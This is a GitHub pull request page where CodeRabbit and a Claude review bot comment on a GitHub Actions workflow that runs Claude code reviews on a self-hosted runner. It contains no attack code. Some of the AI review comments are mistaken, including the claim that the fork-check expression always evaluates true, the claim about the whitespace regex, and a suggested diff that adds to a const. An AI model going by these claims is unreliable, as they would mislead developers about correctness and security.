File: .cursor/rules/pull-request-rules.mdc:0-0
Timestamp: 2025-07-28T16:45:05.154Z
Learning: Analyze the changes to understand the purpose and impact before submitting a pull request

Applied to files:

  • .github/workflows/claude-review.yml
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (6)
.github/workflows/code-quality.yml (2)

29-29: Whitespace normalization—no functional impact.

Formatting change only (removed extra space before comment). Approved.


84-84: Redundant continue-on-error directive.

The docker-scout job already has continue-on-error: true at line 54 (job level), so line 84 is redundant. However, step-level overrides are harmless and arguably more explicit. Approved as-is or can be removed if preferring DRY.

.github/workflows/claude-review.yml (4)

322-544: JSON parsing and PR review posting is robust; approved with minor observation.

The result processing step handles multiple fallback patterns for extracting JSON from Claude's output (direct JSON, code blocks, or substring extraction) and gracefully skips if parsing fails. Cost tracking and sticky comment updates are well-implemented. PR review posting with inline comments on the correct commit SHA is correct.

Minor note: Line 441 checks totalCost === null, but totalCost is initialized to null and only set if a numeric value is found. If Claude's execution log never includes cost data, the cost line and summary will be empty—this is safe but silent. Consider adding a debug log if needed for troubleshooting.


75-133: Trigger determination logic is complete and includes necessary fork check.

The switch statement correctly handles issue_comment, pull_request_review_comment, pull_request (with fork safety), and workflow_dispatch. Comments are properly logged for debugging. The fork check prevents untrusted code execution on self-hosted runners.


149-223: PR context resolution is thorough and handles missing data gracefully.

The script attempts multiple fallback sources (direct PR number, issue number, input, URL parsing) and proceeds without PR context if unresolved. Inline comment posting will be skipped if PR number is unavailable (line 344), so no broken state is created.


277-277: The review comment misrepresents GitHub Actions best practices and should be disregarded.

GitHub's official guidance recommends pinning third-party actions to a full commit SHA for maximum security and immutability, which is exactly what the current code does. GitHub explicitly recommends SHA pinning for secure workflows.

The review's claims are incorrect:

  • Commit SHAs don't "become stale" or get "rebased": Once a commit is in a public repository, it is immutable.
  • Version tags are less secure: Tags can be moved or retagged, making them acceptable only for trusted maintainers.
  • No @v1 tag exists: The repository uses v0.0.63, v0.0.62, etc.—not @v1.
  • Dependabot works with both: Dependabot automatically updates GitHub Actions and recognizes both owner/repo@tag and owner/repo@sha formats.

The current workflow (using a commit SHA) is the recommended security practice. No changes are needed.

Likely an incorrect or invalid review comment.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

♻️ Duplicate comments (1)
.github/workflows/claude-review.yml (1)

232-232: Remove hardcoded internal wiki URL—workflow is not portable to external users/forks.

The default fallback still points to https://wiki.gluzdov.com/doc/claude-review-workflow-setup-Dbg0WdgMsk, making setup reminders inaccessible to anyone outside your organization. This was flagged in a prior review but remains unresolved.

Apply this diff to use an empty string as fallback:

-            const docUrl = process.env.CLAUDE_REVIEW_DOC_URL || 'https://wiki.gluzdov.com/doc/claude-review-workflow-setup-Dbg0WdgMsk';
+            const docUrl = process.env.CLAUDE_REVIEW_DOC_URL || '';

Then conditionally include the link in the message only if docUrl is set:

             if (!existing) {
               const body = `${commentPrefix}${marker}

               ### Claude Review Setup Required

               The Claude review workflow is disabled because \`ANTHROPIC_API_KEY\` is not configured.

-              Please follow the setup guide: ${docUrl}
+              Please configure \`ANTHROPIC_API_KEY\` as a repository secret.
+              `;
+              if (docUrl) {
+                body += `\n\nFor setup details: ${docUrl}`;
+              }
               `;
🧹 Nitpick comments (1)
.github/workflows/claude-review.yml (1)

298-313: Schema documentation clarity: clarify category field values.

Lines 298–313 document the JSON schema but the category field example shows "blocking_operation|missing_origin_check|etc" using pipe characters, which may confuse whether this is an enum list or a single string value. Add a note or example values:

                  "category": "blocking_operation|missing_origin_check|etc",
+                 // Note: Use one of: blocking_operation, missing_origin_check, etc. (single string, not pipe-separated)

Alternatively, update the schema example to show typical valid values more clearly:

                  "category": "blocking_operation|missing_origin_check|etc",
+                 // Examples: "blocking_operation", "missing_origin_check", "unvalidated_input", "performance_degradation"
📜 Review details

Configuration used: Path: .coderabbit.yml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between a6a7513 and e4bd919.

📒 Files selected for processing (1)
  • .github/workflows/claude-review.yml (1 hunks)
🧰 Additional context used
🧠 Learnings (2)
📓 Common learnings
Learnt from: anatolyshipitz
Repo: speedandfunction/automatization PR: 34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
📚 Learning: 2025-07-28T16:45:05.154Z
Learnt from: CR
Repo: speedandfunction/automatization PR: 0
File: .cursor/rules/pull-request-rules.mdc:0-0
Timestamp: 2025-07-28T16:45:05.154Z
Learning: Analyze the changes to understand the purpose and impact before submitting a pull request

Applied to files:

  • .github/workflows/claude-review.yml
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (7)
.github/workflows/claude-review.yml (7)

277-277: Clarify Claude action version strategy.

Line 277 pins a specific commit SHA (@e8132bc5e637a42c27763fc757faa37e1ee43b34), which diverges from the prior feedback to upgrade to @v1 for stability and maintainability. Commit-level pinning is appropriate for production reproducibility but unusual for public actions and complicates future updates.

Confirm this is intentional (e.g., using a fork or internal version) or adopt a semantic version tag instead.


54-73: Onboarding message is clear and helpful.

The updated note (lines 64–66) now provides actionable guidance with the @claude review command instead of the misleading "Auto reviews are disabled" message. Well done addressing the prior feedback.


75-134: Trigger determination includes fork safety check.

The addition of the pull_request case handler (lines 109–116) now properly triggers on PR events, and the fork check prevents self-hosted runners from executing untrusted code from forks. This is a solid security improvement over prior versions.


149-223: PR context resolution is comprehensive and defensive.

The multi-stage fallback chain (lines 171–196) handles edge cases where event context may be incomplete. Graceful degradation at lines 198–205 allows the workflow to proceed even if PR context cannot be resolved. Good defensive programming.


265-271: Checkout logic with multiple fallbacks is robust.

The repository and ref resolution uses sensible fallback chains (lines 270–271) to handle PR, issue comment, and dispatch event variations.


273-320: Claude action invocation with max_turns and tool restrictions is well-configured.

max_turns: 5 (line 320) is appropriate for cost and latency control. The allowed_tools list (lines 282–288) is narrowly scoped to git and read operations, reducing risk. The JSON schema prompt (lines 298–313) clearly specifies the expected output format.


322-544: Robust JSON parsing and result handling with multiple extraction strategies.

The Claude review processing script uses three fallback JSON extraction strategies (lines 400–413) to handle direct JSON, code-block-wrapped JSON, and substring extraction. This is defensive and handles common Claude output variations well. The cost tracking and artifact generation (lines 481–497) are thorough, and the sticky cost-summary comment update logic (lines 507–544) prevents redundant updates.

- Modified the concurrency group identifier in the Claude review workflow to use `github.run_id` instead of the previous identifiers. This change enhances the uniqueness of the concurrency group, ensuring that concurrent runs are managed more effectively.

This update aims to improve the workflow's handling of concurrent executions and prevent potential conflicts.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (1)
.github/workflows/claude-review.yml (1)

279-279: Update to Claude Sonnet 4.5 for better coding performance.

Claude Sonnet 4.5 is recommended as it offers the best balance of intelligence, speed, and cost for most use cases, with exceptional performance in coding and agentic tasks. The workflow is currently pinned to Claude 3.5 Sonnet, which is significantly older. While the -latest alias format is valid, it resolves to an outdated model family.

Consider updating to claude-sonnet-4-5 for improved code review quality, especially given this is a code review workflow:

         env:
-          ANTHROPIC_MODEL: claude-3-5-sonnet-latest
+          ANTHROPIC_MODEL: claude-sonnet-4-5

Alternatively, if you prefer to track minor updates automatically, use the family alias (e.g., claude-sonnet-4-5 will pull patch updates), though pinning to an exact version like claude-sonnet-4-5-20250929 provides better reproducibility.

📜 Review details

Configuration used: Path: .coderabbit.yml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between e4bd919 and dbf6d83.

📒 Files selected for processing (1)
  • .github/workflows/claude-review.yml (1 hunks)
🧰 Additional context used
🧠 Learnings (5)
📓 Common learnings
Learnt from: anatolyshipitz
Repo: speedandfunction/automatization PR: 34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.
📚 Learning: 2025-07-28T16:45:05.154Z
Learnt from: CR
Repo: speedandfunction/automatization PR: 0
File: .cursor/rules/pull-request-rules.mdc:0-0
Timestamp: 2025-07-28T16:45:05.154Z
Learning: Analyze the changes to understand the purpose and impact before submitting a pull request

Applied to files:

  • .github/workflows/claude-review.yml
📚 Learning: 2025-05-30T17:57:21.010Z
Learnt from: anatolyshipitz
Repo: speedandfunction/automatization PR: 34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.

Applied to files:

  • .github/workflows/claude-review.yml
📚 Learning: 2025-08-07T16:49:02.124Z
Learnt from: anatolyshipitz
Repo: speedandfunction/automatization PR: 85
File: workers/main/src/services/OAuth2/OAuth2Manager.ts:108-126
Timestamp: 2025-08-07T16:49:02.124Z
Learning: In workers/main/src/services/OAuth2/OAuth2Manager.ts, user anatolyshipitz considers structured error code checking for OAuth2 errors redundant, preferring the simpler string matching approach with message.includes('invalid_grant') for error detection during token refresh operations.

Applied to files:

  • .github/workflows/claude-review.yml
📚 Learning: 2025-08-10T17:50:28.895Z
Learnt from: anatolyshipitz
Repo: speedandfunction/automatization PR: 93
File: memory-bank/techContext.md:14-15
Timestamp: 2025-08-10T17:50:28.895Z
Learning: For the speedandfunction/automatization repository, skip reviewing files in the memory-bank directory as requested by anatolyshipitz.

Applied to files:

  • .github/workflows/claude-review.yml
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (3)
.github/workflows/claude-review.yml (3)

110-115: Fork security check is well-placed.

The logic correctly prevents runs on forks when using a self-hosted runner, which is an appropriate security guard for this use case. The check at line 110 (IS_FORK: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.repo.fork && 'true' || 'false' }}) ensures that untrusted code from forked repositories will not execute on your infrastructure.


392-418: JSON parsing logic is robust with intelligent fallbacks.

The multi-stage approach to extract JSON from Claude's response (direct parse → markdown code block → substring extraction) handles a variety of Claude output formats gracefully. This defensive coding prevents silent failures if the model deviates from expected formatting.


277-277: Commit SHA pinning provides strong security guarantees.

Pinning an action to a full-length commit SHA is currently the only method to ensure the use of an action as an immutable release. The action is pinned to a specific commit rather than a tag, which prevents malicious code added to a new or updated branch or tag from being automatically used. This is a security best practice; consider adding a comment with the release tag for maintainability if you haven't already.

Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think continue-on-error: true is good idea. It just will hide possible problems, not more. Id you whant to remove this please comment all the step not to have false sense of security

anatolyshipitz and others added 2 commits November 19, 2025 09:43
…ity workflow

- Eliminated the continue-on-error setting for the Docker Scout action to ensure that any errors during image scanning will halt the workflow, improving error visibility and response.

This change aims to enhance the reliability of the code quality checks by ensuring that issues are addressed promptly.
…e debug environment variable handling

- Changed the action reference for `claude-code-base-action` to version `v0.0.63` for enhanced stability.
- Updated the `DEBUG` environment variable to utilize a conditional expression, allowing for more flexible debugging options.

These changes aim to improve the reliability and configurability of the Claude review workflow.
@sonarqubecloud
Copy link

Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Claude Claude## Claude Code Review

Review Summary

This PR adds a comprehensive Claude Code review workflow. The implementation is generally well-structured but has several areas that need attention:

  • Security: Self-hosted runner usage without fork protection and missing input validation
  • Performance: Inefficient regex patterns and potential resource consumption
  • Code Quality: Some hardcoded values and duplicate logic

The workflow provides good functionality for automated code reviews but should address the security and performance concerns before deployment.

Estimated cost: $0.13415

contains(github.event.comment.body, '@claude')
) || (
github.event_name == 'workflow_dispatch'
)

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Claude Claude🔒 SECURITY: Self-hosted runner without adequate fork protection

This workflow uses runs-on: self-hosted but only checks github.event.pull_request.head.repo.fork for pull request events. Malicious actors could potentially execute code on your self-hosted runners through other event types.

Suggestion:

runs-on: ${{ github.event.pull_request.head.repo.fork && 'ubuntu-latest' || 'self-hosted' }}

Why this matters: Self-hosted runners have access to your infrastructure and should never execute untrusted code from forks.

echo "✗ Comment does not contain '@claude review'"
fi
;;
pull_request_review_comment)

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Claude Claude⚡ PERFORMANCE: Inefficient regex pattern with case-insensitive grep

Using grep -qiE '@claude[[:space:]]+review' twice in the workflow. The [[:space:]]+ pattern requires one or more spaces, but users might type @claude review without extra spaces.

Suggestion:

grep -qiE '@claude[[:space:]]*review'

Why this matters: The current pattern might miss valid trigger commands and the redundant calls impact performance.

ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
run: |
if [ -z "${ANTHROPIC_API_KEY}" ]; then
echo "ANTHROPIC_API_KEY not configured, skipping Claude analysis.";

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Claude Claude🔒 SECURITY: Missing validation for API key environment variable

The ANTHROPIC_API_KEY is checked for existence but not validated for format or basic structure. An empty or malformed key could lead to unnecessary API calls or information disclosure.

Suggestion:

if [ -z "${ANTHROPIC_API_KEY}" ] || [ ${#ANTHROPIC_API_KEY} -lt 20 ]; then
  echo "Invalid or missing ANTHROPIC_API_KEY"
  echo "available=false" >> "$GITHUB_OUTPUT"
else
  echo "available=true" >> "$GITHUB_OUTPUT"
fi

Why this matters: Proper validation prevents failed API calls and potential security issues.

await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: prNumber,

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Claude Claude💡 SUGGESTION: Hardcoded action version reduces maintainability

The Claude action version v0.0.63 is hardcoded. Consider using a variable or input parameter to make version updates easier.

Suggestion:

uses: anthropics/claude-code-base-action@${{ vars.CLAUDE_ACTION_VERSION || 'v0.0.63' }}

Why this matters: Centralized version management makes maintenance and updates easier across multiple workflows.

;;
pull_request)
if [ "$IS_FORK" = "true" ]; then
echo "✗ Pull request originates from a fork; skipping self-hosted run"

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Claude Claude🐛 BUG: Incorrect fork detection conditional logic

The fork detection uses github.event.pull_request.head.repo.fork && 'true' || 'false' which will always evaluate to 'true' when the fork property exists (even if false), due to JavaScript truthy evaluation.

Suggestion:

IS_FORK: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.repo.fork == true }}

Why this matters: This could incorrectly classify non-fork PRs as forks, affecting the security logic.

@sonarqubecloud
Copy link

sonarqubecloud bot commented Dec 3, 2025

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants